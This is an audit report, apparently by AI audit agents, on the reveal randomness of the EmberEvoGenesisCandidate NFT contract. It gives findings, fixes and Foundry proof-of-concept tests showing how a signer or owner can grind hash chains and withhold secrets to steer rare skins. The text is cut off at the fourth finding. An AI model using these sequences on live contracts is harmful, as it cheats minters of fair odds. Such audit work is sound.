# Audit report

> Review Submission2/ only. Read Submission2/AUDIT_README.md, then Submission2/FINDINGS_RESPONSE.md (how each finding of the first audit, job 31bb373a, was handled). Primary scope: Submission2/contracts/EmberEvoGenesisCandidate.sol (verified on Sepolia 0xb972164188e5164402EDbaCBa3f6f95Decfba836, solc 0.8.38). Not in scope: contracts/test, contracts/testnet, OpenZeppelin. 1) Check the fixes: signed reveal commitment (RevealCommitAcceptance), REARM_COOLDOWN on any re-arm of a ready epoch, one expiry re-arm per epoch then secret-only seal, _heldBefore (held values and keccak(anchor)), O(1) rearmState, chosen-mint freeze from the seed block, settling any number of epochs with order-free secrets, Appearance paid route. 2) New packed storage: skinState (caps, counts, totalMinted, freeMinted in one slot), 4-bit token words, 16-bit packed epoch id lists, transient reentrancy guard. Can any bit overlap, overflow or stale read break supply caps, a draw, tokenURI or the reveal order? 3) Can a minter, the owner alone or the signer alone steer a random skin; is the residual trust in README section 8.2 stated correctly; should mainnet use a VRF? 4) Secondary: the GOLD reader change (no receipt.to, matching GenesisMinted by wallet and token id). Report severity, reproduction and fix.

| | |
|---|---|
| Repository | https://github.com/tungweb3/ember-evo-genesis-review.git |
| Commit | `c7901769a2e820ffcf995e229c490e4eef3384c4` |
| Job | `388b71cb-3fc5-4efb-8c51-d4257fba75b4` |
| Judged | 2026-10-27 04:42 UTC |
| Findings | 2 medium · 4 low · 1 info |

Four agents audited the code as it is at `c790176`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Medium: Secret-only seal after a second expiry is a pure function of the committed chain: the signer alone can pre-select that outcome at commit time (README 8.2 'at most three options' is overstated)

`Submission2/contracts/EmberEvoGenesisCandidate.sol:570`

```
        seed = keccak256(abi.encode(h, secret, e, address(this)));
```

When an epoch's re-armed seed block has also expired (`expiredBefore`, line 567), `_seal` falls through with `h == bytes32(0)` and seals with seed = keccak256(abi.encode(bytes32(0), secret, e, address(this))). Every input of that seed is fixed when the hash chain is created, before minting opens: `secret` is x[k] of the chain, `e` is the epoch number, address(this) is constant. The signer creates the chain (offchain/signer/tools/new-reveal-seed.mjs), is the only party whose acceptance the commitment needs (RevealCommitAcceptance), and signs its own Appearance approvals. It can therefore grind the 32-byte chain seed off chain until the secret-only draw for a predictable (epoch, token id, remaining counts) state yields the skin it wants, have the owner set that chain, mint the random token itself, and then force this branch by withholding x1 until the natural seed block leaves the hash window (first expiry re-arm consumes x1) and withholding x2 until the re-armed block leaves the window too. README 8.2, FINDINGS_RESPONSE row 5 and the `_seal` NatSpec (lines 557-559) describe withholding as 'at most three options per epoch', i.e. three random draws the signer can only choose among. The third option is not a draw: it is chosen by the signer before minting opens, with no block hash, no other party's input and no bound on the grind. Property 6.4 is therefore wrong for the signer in a way 8.2 does not state. Cost to the signer: two visible stalls of chosen-skin mints (2 x 8,191 blocks, about 54 h) for that epoch, and the grind needs an epoch whose token ids and remaining counts it can predict (the first epoch after opening, or any quiet epoch where it is the only random minter; the signer can also refuse approvals to keep an epoch quiet). The rarest skins (gold 48/1288) can be directed to signer-controlled tokens; the other random tokens of that epoch lose the corresponding odds. This merges three specialist reports of the same root cause (permissions, flow, economics). Fix (keeps the design): make the fallback depend on something not fixed at commit time. Minimal: at the first expiry re-arm (`_rearm(e, true)`) record blockhash(block.number - 1) (always available, unknown when the chain was created) in the spare bits of `rearmState` or a new slot, and on the second expiry seal with keccak256(abi.encode(storedHash, secret, e, address(this))) instead of h == 0 (verified: the attached test then passes). Alternatively drop the secret-only path and let a second expiry re-arm again (bounded only by chain length). Either way, 8.2 must say that a double-expiry outcome is signer-selectable today and that `EpochSealed.blockHash == 0` marks such epochs. For mainnet a VRF removes this and the builder-grinding trust point (see the info finding).

**Reproduction**

State: fresh deployment, snapshot and reveal URIs set, minting not yet open, no pending epoch. Signer-only steps (Foundry test test/scratch/SignerPreselectsSecretOnly.t.sol, fails on the current code; 17 grind tries found a gold chain): 1) e = currentEpoch(). Grind: for chain seeds build x (x[4] = seed, x[i-1] = keccak256(abi.encode(x[i]))), compute predicted = keccak256(abi.encode(bytes32(0), x[2], e, address(c))) and the draw for token id 1 with remaining [768,168,168,68,68,48]; stop when it is skin 5 (gold). 2) Owner calls setRevealCommit(x[0], deadline, signer acceptance) and setMintPaused(false). 3) The signer approves its own free random mint: token id 1 in epoch e. 4) Withhold x1. vm.roll(epochSeedBlock(e) + 300) (test chain: no EIP-2935, 256-block window; Sepolia/mainnet: 8,192 blocks). settle([x[1]]) -> EpochRearmed(e, block+1, true), x1 consumed. 5) Withhold x2. vm.roll(epochSeedBlock(e) + 300). settle([x[2]]) -> EpochSealed(e, seed, seedBlock, 0x0, x[2]). Expected (README 8.2 / property 6.4): the third option is one more random draw the signer cannot choose, so the sealed seed is not one the signer could compute before minting opened. Actual: EpochSealed.seed == predicted and skinOf(1) == (5, true): the signer picked gold before minting opened. With the fix (blockhash of the block before the first expiry re-arm mixed into the fallback) the sealed seed differs from the prediction and the test passes.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.38;

import "forge-std/Test.sol";
import {EmberEvoGenesisCandidate} from "Submission2/contracts/EmberEvoGenesisCandidate.sol";

contract MockEmbeo {
    string public name = "E"; string public symbol = "E"; uint8 public decimals = 18;
    uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance;
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) { allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true; }
}

/// The secret-only seal (second expiry of the same epoch) uses seed = keccak256(abi.encode(bytes32(0), secret, e, this)).
/// Every input is fixed when the signer creates its hash chain, before minting opens. The signer alone (it signs its own
/// mint approvals and accepts the commitment) grinds the chain so that this seed gives its own token the rarest skin,
/// then withholds the secret twice. Fails on the current code: the sealed seed is exactly the one computed at commit
/// time. Passes once the fallback mixes in something not fixed at commit time (or no longer seals secret-only).
contract SignerPreselectsSecretOnly is Test {
    EmberEvoGenesisCandidate g;
    uint256 constant SIGNER_PK = 0xA11CE;
    address signer = vm.addr(SIGNER_PK);
    address owner = address(0xBEEF);
    address signerWallet = address(0x5151);   // a wallet the signer controls, in the free list
    uint256 constant GOLD = 5;
    bytes32 constant REVEAL_COMMIT_TYPEHASH = keccak256("RevealCommitAcceptance(bytes32 commit,uint256 signerEpoch,uint256 deadline)");
    bytes32 constant APPEARANCE_TYPEHASH = keccak256("Appearance(address wallet,bytes32 lookKey,uint8 choice,bytes32 uriHash,uint256 deadline,uint256 signerEpoch,bool paid)");

    function setUp() public {
        vm.roll(100);
        vm.warp(1_000_000);
        MockEmbeo t = new MockEmbeo();
        g = new EmberEvoGenesisCandidate(owner, address(t), signer, 1e18, 1, "EEG");
        bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(signerWallet))));
        vm.startPrank(owner);
        g.configureSnapshot(leaf, 1, block.timestamp, block.timestamp);
        g.setRevealURIs("ipfs://pending", "ipfs://base/", true);
        vm.stopPrank();
    }
    function sign(bytes32 structHash) internal view returns (bytes memory) {
        bytes32 dom = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("EmberEvoGenesisCandidate"), keccak256("7"), block.chainid, address(g)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_PK, keccak256(abi.encodePacked("\x19\x01", dom, structHash)));
        return abi.encodePacked(r, s, v);
    }
    function hashOf(bytes32 v) internal pure returns (bytes32) { return keccak256(abi.encode(v)); }
    function one(bytes32 s) internal pure returns (bytes32[] memory a) { a = new bytes32[](1); a[0] = s; }
    /// x[0] = anchor, x[i-1] = keccak(x[i]) (reveal-chain.mjs), length 4 is enough here.
    function makeChain(bytes32 top) internal pure returns (bytes32[5] memory x) {
        x[4] = top;
        for (uint256 i = 4; i > 0; --i) x[i - 1] = hashOf(x[i]);
    }
    /// Off-chain replica of _reveal for one token with the deployment caps and no other mint before the seed block.
    function drawSkin(bytes32 seed, uint256 id) internal pure returns (uint256 skin) {
        uint256[6] memory rem = [uint256(768), 168, 168, 68, 68, 48];
        uint256 r = uint256(keccak256(abi.encode(seed, id))) % 1288;
        for (; skin < 6; ++skin) { if (r < rem[skin]) break; r -= rem[skin]; }
    }

    function test_signerPreselectsSecretOnlyOutcomeAtCommitTime() public {
        uint256 e = g.currentEpoch();   // the signer will mint in this epoch right after opening; token id 1

        // 1. grind (off chain): a chain whose second secret seals epoch e, token 1, as molten gold when h == 0
        bytes32[5] memory x;
        bytes32 predicted;
        uint256 tries;
        while (true) {
            x = makeChain(keccak256(abi.encode("grind", tries)));
            predicted = keccak256(abi.encode(bytes32(0), x[2], e, address(g)));
            if (drawSkin(predicted, 1) == GOLD) break;
            ++tries;
        }
        emit log_named_uint("grind tries", tries);

        // 2. the signer accepts that chain, the owner sets it and opens minting (the normal setup order)
        bytes memory acc = sign(keccak256(abi.encode(REVEAL_COMMIT_TYPEHASH, x[0], g.signerEpoch(), block.timestamp + 1 days)));
        vm.startPrank(owner);
        g.setRevealCommit(x[0], block.timestamp + 1 days, acc);
        g.setMintPaused(false);
        vm.stopPrank();

        // 3. the signer approves its own random mint: token 1 in epoch e
        bytes32 lookKey = keccak256("look");
        uint256 deadline = block.timestamp + 1 hours;
        bytes memory sig = sign(keccak256(abi.encode(APPEARANCE_TYPEHASH, signerWallet, lookKey, uint8(3), keccak256(""), deadline, g.signerEpoch(), false)));
        bytes32[] memory none;
        vm.prank(signerWallet);
        g.mintFree(lookKey, 3, "", deadline, sig, none, none);
        (, uint256 ep,) = g.nextRevealEpoch();
        assertEq(ep, e);

        // 4. withhold x1 until the natural seed block's hash is out of reach (256 blocks here, 8,191 with EIP-2935)
        vm.roll(g.epochSeedBlock(e) + 300);
        g.settle(one(x[1]));                       // expiry re-arm: x1 used up
        assertEq(g.rearmFromEpoch(), e);

        // 5. withhold x2 until the re-armed block's hash is gone too, then open it: the secret alone decides
        vm.roll(g.epochSeedBlock(e) + 300);
        vm.recordLogs();
        g.settle(one(x[2]));
        Vm.Log[] memory logs = vm.getRecordedLogs();
        bytes32 sealedSeed;
        bool didSeal;
        for (uint256 i; i < logs.length; ++i) {
            if (logs[i].topics[0] == keccak256("EpochSealed(uint256,bytes32,uint256,bytes32,bytes32)")) {
                didSeal = true;
                (sealedSeed,,,) = abi.decode(logs[i].data, (bytes32, uint256, bytes32, bytes32));
            }
        }
        if (didSeal) {
            (uint8 skin, bool revealed) = g.skinOf(1);
            emit log_named_uint("skin of the signer's token (5 = molten gold)", skin);
            assertTrue(revealed);
            // Expected (README 6.4 / 8.2): the third option is one more draw the signer cannot choose.
            // Actual: the seed is the one the signer computed before minting opened.
            assertTrue(sealedSeed != predicted, "secret-only seed was fixed at commit time: signer pre-selected the outcome");
        }
    }
}
```

### 2. Medium: setRevealCommit skips REARM_COOLDOWN while an expiry re-arm is pending: owner+signer can replace the chain in the re-arm block, keep the expired flag, and seal the epoch secret-only with a chain creat

`Submission2/contracts/EmberEvoGenesisCandidate.sol:263`

```
            if (seedBlock <= block.number) {
```

The cooldown that makes a commitment replacement harmless for a ready epoch is applied only when `epochSeedBlock(e) <= block.number`. After an expiry re-arm (`_seal` -> `_rearm(e, true)`) the next epoch's seed block is block.number + 1, so in that same block the owner can pause and call setRevealCommit with the signer's acceptance: no cooldown, no new re-arm, and `rearmState` keeps the expired flag for e. If the new chain's holder then withholds its first secret until the re-armed block leaves the hash window, `_seal` takes the `expiredBefore` branch and seals with h == 0: seed = keccak(0, newSecret, e, this). The new chain was created after the epoch closed, so its creator knows every token id and the exact remaining counts and can grind the chain seed off chain until every token in epoch e gets the skins it wants (no prediction needed, unlike the signer-alone case in the previous finding). Actors: owner plus the current signer's acceptance, or an owner that rotated the signer to its own key (README 8.2 calls this 'holds the signer's powers'). Cost: two ~27 h stalls of chosen mints and a visible pause. Intended behaviour kept by the fix: an owner may still replace a chain; it must not do so while the next epoch has a seed block that is mined or a pending re-arm. Fix: in setRevealCommit treat a pending re-arm for the next epoch as ready, e.g. `uint256 rs = rearmState; bool pendingRearm = uint64(rs >> 64) == e && uint64(rs) > block.number; if (seedBlock <= block.number || pendingRearm) require(block.number > seedBlock + REARM_COOLDOWN, ...)`, and never let a chain set after an epoch's first seed block seal that epoch with blockHash 0 (clear, or re-grant exactly once, the expired flag whenever the chain is replaced). Verified: with that change the attached test passes.

**Reproduction**

State: one random token minted in epoch 0 (natural seed block S = 1025 in the test). No settle for 256 (local) / 8,191 (mainnet) blocks after S. Step 1: anyone calls settle([A1]) -> EpochRearmed(0, X+1, expired=true), rearmState = (X+1) | 0<<64 | 1<<128, nextRevealIndex stays 0. Step 2, same block X: owner calls setMintPaused(true) then setRevealCommit(chainB[0], deadline, signerAcceptance). Expected: revert EPOCH_REARM_COOLDOWN (the epoch's draw is in flight). Actual: succeeds, rearmBlock() still X+1, flag still set. Step 3: nobody opens B1 for 256/8,191 blocks; then settle([B1]) -> EpochSealed(0, keccak(abi.encode(bytes32(0), B1, 0, this)), X+1, 0x0, B1), nextRevealIndex == 1. Expected: an epoch is never sealable secret-only by a chain committed after it closed. Foundry test test/scratch/Proof_938366e7b52d.t.sol fails on the current code ('epoch sealed with blockHash 0 by a chain committed after the epoch closed: 1 != 0') and passes once setRevealCommit refuses or applies the cooldown to a pending re-arm.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.38;

import {Test} from "forge-std/Test.sol";
import {EmberEvoGenesisCandidate} from "Submission2/contracts/EmberEvoGenesisCandidate.sol";

contract MockEmbeo {
    string public name = "E"; string public symbol = "E"; uint8 public decimals = 18;
    uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; totalSupply += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) { allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true; }
}

/// Property under test: a reveal chain set AFTER an epoch's seed block was mined must never seal that epoch with the
/// secret alone (blockHash 0). On the current code the owner (with the signer's acceptance) replaces the chain in the
/// same block as an expiry re-arm, with no REARM_COOLDOWN, the expired flag survives, and the epoch is then sealed by
/// keccak(0, newSecret, e, this): an outcome the chain's creator chose after the epoch closed.
contract ReplaceChainInsideRearmTest is Test {
    EmberEvoGenesisCandidate g;
    MockEmbeo token;
    address owner = address(0xA11CE);
    uint256 signerKey = 0xB0B;
    address minter = address(0xC0FFEE);
    uint256 constant N = 8;
    bytes32[N + 1] chainA;
    bytes32[N + 1] chainB;
    uint256 orderNonce;

    function _mkChain(bytes32 seed) internal pure returns (bytes32[N + 1] memory x) {
        x[N] = seed;
        for (uint256 i = N; i > 0; --i) x[i - 1] = keccak256(abi.encodePacked(x[i]));
    }
    function _sign(bytes32 structHash) internal view returns (bytes memory) {
        bytes32 domain = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("EmberEvoGenesisCandidate"), keccak256("7"), block.chainid, address(g)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, keccak256(abi.encodePacked("\x19\x01", domain, structHash)));
        return abi.encodePacked(r, s, v);
    }
    function _acceptance(bytes32 commit, uint256 deadline) internal view returns (bytes memory) {
        return _sign(keccak256(abi.encode(keccak256("RevealCommitAcceptance(bytes32 commit,uint256 signerEpoch,uint256 deadline)"), commit, g.signerEpoch(), deadline)));
    }

    function setUp() public {
        token = new MockEmbeo();
        vm.roll(1000);
        vm.warp(1_000_000);
        g = new EmberEvoGenesisCandidate(owner, address(token), vm.addr(signerKey), 1e18, 10, "EEG");
        chainA = _mkChain(keccak256("seed A"));
        chainB = _mkChain(keccak256("seed B"));
        vm.startPrank(owner);
        g.configureSnapshot(bytes32(0), 0, block.timestamp, block.timestamp);
        g.setRevealURIs("ipfs://pending", "ipfs://base/", true);
        g.setRevealCommit(chainA[0], block.timestamp + 1 days, _acceptance(chainA[0], block.timestamp + 1 days));
        g.approvePaidPrice();
        g.setMintPaused(false);
        vm.stopPrank();
        token.mint(minter, 1000e18);
        vm.prank(minter); token.approve(address(g), type(uint256).max);
    }

    function _mintRandom() internal {
        bytes32 look = keccak256(abi.encode("look", ++orderNonce));
        uint256 deadline = block.timestamp + 1 hours;
        bytes memory app = _sign(keccak256(abi.encode(
            keccak256("Appearance(address wallet,bytes32 lookKey,uint8 choice,bytes32 uriHash,uint256 deadline,uint256 signerEpoch,bool paid)"),
            minter, look, uint8(3), keccak256(""), deadline, g.signerEpoch(), true)));
        EmberEvoGenesisCandidate.PaidAuthorization memory o = EmberEvoGenesisCandidate.PaidAuthorization({
            orderId: keccak256(abi.encode("order", orderNonce)), wallet: minter, lookKey: look, choice: 3, uriHash: keccak256(""),
            recipient: 0x000000000000000000000000000000000000dEaD, embeoCost: 1e18, goldCost: 10, deadline: deadline, signerEpoch: g.signerEpoch()});
        bytes memory gold = _sign(keccak256(abi.encode(
            keccak256("PaidAuthorization(bytes32 orderId,address wallet,bytes32 lookKey,uint8 choice,bytes32 uriHash,address recipient,uint256 embeoCost,uint256 goldCost,uint256 deadline,uint256 signerEpoch)"), o)));
        bytes32[] memory none;
        vm.prank(minter, minter);
        g.mintPaid(look, 3, "", deadline, app, 0x000000000000000000000000000000000000dEaD, 1e18, o, gold, none);
    }

    function _one(bytes32 s) internal pure returns (bytes32[] memory a) { a = new bytes32[](1); a[0] = s; }

    function test_replacedChainCannotSealSecretOnly() public {
        _mintRandom();                                   // epoch 0, natural seed block 1025
        assertEq(g.epochSeedBlock(0), 1025);
        vm.roll(1025 + 300);                             // blockhash(1025) is gone (no EIP-2935 contract here: 256-block window)
        g.settle(_one(chainA[1]));                       // expiry re-arm: A1 used up, flag set, R1 = 1326
        uint256 r1 = g.rearmBlock();
        assertEq(r1, block.number + 1);
        assertEq(g.nextRevealIndex(), 0);

        // Same block: owner pauses and replaces the chain with one created after the epoch closed.
        vm.startPrank(owner);
        g.setMintPaused(true);
        try g.setRevealCommit(chainB[0], block.timestamp + 1 days, _acceptance(chainB[0], block.timestamp + 1 days)) {
        } catch {
            vm.stopPrank();
            return;                                      // fixed: a pending re-arm is treated like a ready epoch (cooldown / refusal)
        }
        vm.stopPrank();

        // The new chain's holder withholds B1 until R1 expires as well, then opens it.
        vm.roll(r1 + 300);
        g.settle(_one(chainB[1]));
        // Expected: the epoch is not sealed secret-only by a chain set after its seed block (it is re-armed again, or the
        // replacement above was refused). Actual on the current code: sealed, seed = keccak(0, B1, 0, this).
        assertEq(g.nextRevealIndex(), 0, "epoch sealed with blockHash 0 by a chain committed after the epoch closed");
    }
}
```

### 3. Low: Chosen-skin freeze is lifted in the expiry re-arm block: _approval compares against epochSeedBlock(), which the re-arm just moved to block+1, so chosen mints change a pending epoch's counts (and let t

`Submission2/contracts/EmberEvoGenesisCandidate.sol:425`

```
            if (nextRevealIndex < randomEpochs.length) require(block.number < epochSeedBlock(randomEpochs[nextRevealIndex]), "REVEAL_PENDING");
```

The chosen-skin freeze (fix of Submission 1 finding 4) is `block.number < epochSeedBlock(next)`. An expiry re-arm (`_seal` -> `_rearm(e, true)`) sets the seed block to block.number + 1, so for the rest of the re-arm block B chosen-skin mints are accepted again although epoch e is still pending (its natural seed block is long past), and they change the skin counts e will draw from. README section 5 ('From an epoch's seed block itself until it is revealed, every chosen-skin mint reverts') and property 6.4 ('not by chosen-skin mints around a reveal') do not hold in block B. On its own this only shifts expected value (the same path dependency as README 8.9), because the next draw uses h(B+1), unknown in block B. Combined with the secret-only fallback of the first finding it is a second lever: the signer knows the fallback seed keccak(0, x2, e, this) in advance, settles x1 in block B, adds chosen mints from wallets it controls in the same block (one paid mint per caller per transaction, README 8.7; free claims too) until keccak(seed, id) % total lands on the skin it wants, then withholds x2 past the re-armed block's window. Fix: freeze from the epoch's natural seed block whatever the re-arm: require(block.number < startBlock + (randomEpochs[nextRevealIndex] + 1) * EPOCH_BLOCKS, "REVEAL_PENDING") (verified: the attached test then passes; the natural seed block is never later than the re-armed one, so nothing else changes).

**Reproduction**

Foundry test test/scratch/Proof_3c532fd77d05.t.sol (no EIP-2935 on the test chain, so the window is 256 blocks; Sepolia/mainnet 8,191). Setup: default caps, commit x0 of chain x[i-1] = keccak(x[i]), minting open, paid price approved. 1) Wallet 0xB0B mints random token 1 in epoch 0. 2) Off chain, from x2, the signer computes that k = 5 green chosen mints make token 1 draw skin 5 (gold). 3) vm.roll(seedBlock + 300); settle([x1]) emits EpochRearmed(0, B+1, true). 4) Same block B: five mintPaid(choice = 0) calls from five wallets. Expected: revert REVEAL_PENDING (epoch 0 is pending). Actual: all five accepted ('chosen mints accepted in the re-arm block: 5', skinCount(0) == 5). 5) vm.roll(+300); settle([x2]) -> EpochSealed with blockHash 0 and SkinRevealed(1, 5): token 1 is gold as planned. The test fails on the current code and passes with the freeze computed from the natural seed block (the five mints revert, token 1 draws skin 0).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.38;

import "forge-std/Test.sol";
import {EmberEvoGenesisCandidate} from "Submission2/contracts/EmberEvoGenesisCandidate.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalSupply;
    function decimals() external pure returns (uint8) { return 18; }
    function mint(address to, uint256 a) external { balanceOf[to] += a; totalSupply += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transferFrom(address f, address t, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[t] += a; return true;
    }
}

contract ExpiryShapingTest is Test {
    EmberEvoGenesisCandidate nft;
    Tok tok;
    uint256 signerPk = 0xA11CE;
    address signer;
    bytes32[5] x; // x[0] = commit, x[i-1] = keccak(x[i])
    uint256 cost = 1e18;

    function setUp() public {
        vm.roll(1000); vm.warp(1_000_000);
        signer = vm.addr(signerPk);
        tok = new Tok();
        nft = new EmberEvoGenesisCandidate(address(this), address(tok), signer, cost, 1, "EEG");
        x[4] = keccak256("seed");
        for (uint256 i = 4; i > 0; --i) x[i - 1] = keccak256(abi.encode(x[i]));
        nft.configureSnapshot(bytes32(0), 0, block.timestamp, block.timestamp);
        nft.setRevealURIs("pending", "base/", true);
        uint256 dl = block.timestamp + 1 days;
        bytes32 sh = keccak256(abi.encode(keccak256("RevealCommitAcceptance(bytes32 commit,uint256 signerEpoch,uint256 deadline)"), x[0], uint256(1), dl));
        nft.setRevealCommit(x[0], dl, _sign(sh));
        nft.setMintPaused(false);
        nft.approvePaidPrice();
    }

    function _sign(bytes32 structHash) internal view returns (bytes memory) {
        bytes32 ds = keccak256(abi.encode(
            keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("EmberEvoGenesisCandidate"), keccak256("7"), block.chainid, address(nft)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, keccak256(abi.encodePacked("\x19\x01", ds, structHash)));
        return abi.encodePacked(r, s, v);
    }

    function _paidMint(address who, uint8 choice, bytes32 orderId) internal returns (bool ok) {
        string memory uri = choice == 3 ? "" : "u";
        bytes32 look = keccak256("look");
        uint256 dl = block.timestamp + 1 days;
        bytes32 a = keccak256(abi.encode(keccak256("Appearance(address wallet,bytes32 lookKey,uint8 choice,bytes32 uriHash,uint256 deadline,uint256 signerEpoch,bool paid)"),
            who, look, choice, keccak256(bytes(uri)), dl, uint256(1), true));
        EmberEvoGenesisCandidate.PaidAuthorization memory o = EmberEvoGenesisCandidate.PaidAuthorization(
            orderId, who, look, choice, keccak256(bytes(uri)), address(0xdEaD), cost, 1, dl, 1);
        bytes32 g = keccak256(abi.encode(keccak256("PaidAuthorization(bytes32 orderId,address wallet,bytes32 lookKey,uint8 choice,bytes32 uriHash,address recipient,uint256 embeoCost,uint256 goldCost,uint256 deadline,uint256 signerEpoch)"), o));
        bytes memory sa = _sign(a);
        bytes memory sg = _sign(g);
        tok.mint(who, cost);
        vm.startPrank(who);
        tok.approve(address(nft), cost);
        try nft.mintPaid(look, choice, uri, dl, sa, address(0xdEaD), cost, o, sg, new bytes32[](0)) { ok = true; } catch {}
        vm.stopPrank();
    }

    /// Off-chain replica of the secret-only seal for one random token (id) with the given remaining capacities.
    function _predict(bytes32 secret, uint256 e, uint256 id, uint256[6] memory rem) internal view returns (uint256 skin) {
        bytes32 seed = keccak256(abi.encode(bytes32(0), secret, e, address(nft)));
        uint256 total;
        for (uint256 c; c < 6; ++c) total += rem[c];
        uint256 r = uint256(keccak256(abi.encode(seed, id))) % total;
        for (; skin < 6; ++skin) { if (r < rem[skin]) break; r -= rem[skin]; }
    }

    /// The signer withholds x1 until the epoch's seed block expires, re-arms in block B, then (still in block B) adds
    /// chosen-skin mints to shape the counts the known secret-only seed (x2, h = 0) will draw from, and withholds x2.
    /// It can make its own random token come out molten gold (skin 5), which the 3-option bound in README 8.2 excludes.
    function test_signerShapesSecretOnlySeal() public {
        address victimOfOdds = address(0xB0B);
        assertTrue(_paidMint(victimOfOdds, 3, keccak256("o-random")));   // token 1, random, epoch 0
        uint256 e = 0;
        uint256 seedBlock = nft.epochSeedBlock(e);
        // The signer computes, before anything else happens, how many green chosen mints k make token 1 molten gold.
        uint256[6] memory rem = [uint256(768), 168, 168, 68, 68, 48];
        uint256 k = type(uint256).max;
        for (uint256 i; i < 400; ++i) {
            uint256[6] memory rr = [uint256(768) - i, 168, 168, 68, 68, 48];
            if (_predict(x[2], e, 1, rr) == 5) { k = i; break; }
        }
        assertTrue(k != type(uint256).max, "no k found");
        emit log_named_uint("green chosen mints needed for gold", k);

        // Seed block expires (no EIP-2935 here, so 256 blocks; on mainnet 8,191).
        vm.roll(seedBlock + 300);
        nft.settle(_arr(x[1]));                                     // expiry re-arm: r = block.number + 1
        assertEq(nft.rearmBlock(), block.number + 1);
        // Still block B: chosen-skin mints are accepted although epoch 0 is pending (expected: REVEAL_PENDING).
        uint256 accepted;
        for (uint256 i; i < k; ++i) if (_paidMint(address(uint160(0x10000 + i)), 0, keccak256(abi.encode("o", i)))) ++accepted;
        emit log_named_uint("chosen mints accepted in the re-arm block", accepted);
        // Withhold x2 until the re-armed block expires, then the secret alone decides.
        vm.roll(block.number + 300);
        nft.settle(_arr(x[2]));
        (uint8 skin, bool revealed) = nft.skinOf(1);
        assertTrue(revealed);
        emit log_named_uint("skin", skin); emit log_named_uint("green count", nft.skinCount(0));
        // With chosen mints frozen from the expiry re-arm on, the signer could not reshape the counts in block B.
        assertTrue(k == 0 || skin != 5, "signer steered token 1 to molten gold via counts set in the re-arm block");
    }

    function _arr(bytes32 v) internal pure returns (bytes32[] memory a) { a = new bytes32[](1); a[0] = v; }
}
```

### 4. Low: Owner + signer (or an owner with a rotated signer) can re-roll a ready epoch without bound: every REARM_COOLDOWN blocks a replacement re-arms it again, and each replacement clears the 'expired once' f

`Submission2/contracts/EmberEvoGenesisCandidate.sol:265`

```
                newSeedBlock = _rearm(e, false);
```

README 8.2 says the owner that rotates the signer to its own key 'holds the signer's powers' (at most three options per epoch) and that a replacement 'waits REARM_COOLDOWN ... so anyone can settle the published outcome first'. Both hold only for a signer that cannot replace the commitment and only when a secret was published. With the owner's cooperation (or an owner-controlled signer, allowed while paused) the secret is simply never published, nobody can settle, and after seedBlock + REARM_COOLDOWN the owner calls setRevealCommit with a fresh accepted chain: line 265 re-arms the ready epoch to block + 1 and the cycle repeats, one fresh draw per ~7,200 blocks of paused minting, with no limit (verified: five consecutive replacement re-arms of epoch 0). In addition `_rearm(e, false)` (line 289) rewrites rearmState with bit 128 cleared, so the 'one expiry re-arm per epoch' guard (`expiredBefore`, line 567) is reset: the same epoch can be re-armed by expiry again after each replacement, and the secret-only seal promised by the `_seal` NatSpec, FINDINGS_RESPONSE ('One expiry re-arm per epoch, then the secret alone') and README 5 is never reached. Both roles are intentional, so this is a trust-model defect, not a permission bypass: the contract does not enforce the bound the package states. Merges three specialist reports (permissions, flow, math) and part of the economics report. Fix options: (a) document in 8.2 that owner+signer can re-roll indefinitely at one day per roll and that repeated EpochRearmed(e, _, false) for the same epoch is the on-chain signal; or (b) bound it in code: keep the expired flag across a replacement (pass expired = ((rearmState >> 128) & 1 == 1 && uint64(rearmState >> 64) == e) in setRevealCommit; verified: the attached test then passes) and count replacement re-arms per epoch in spare rearmState bits, refusing more than N. Trade-off for (b): if the signer key or chain seed is lost while an epoch is ready, the N-th replacement must still be allowed or chosen mints stall forever; N = 2 with the rotation path keeps liveness.

**Reproduction**

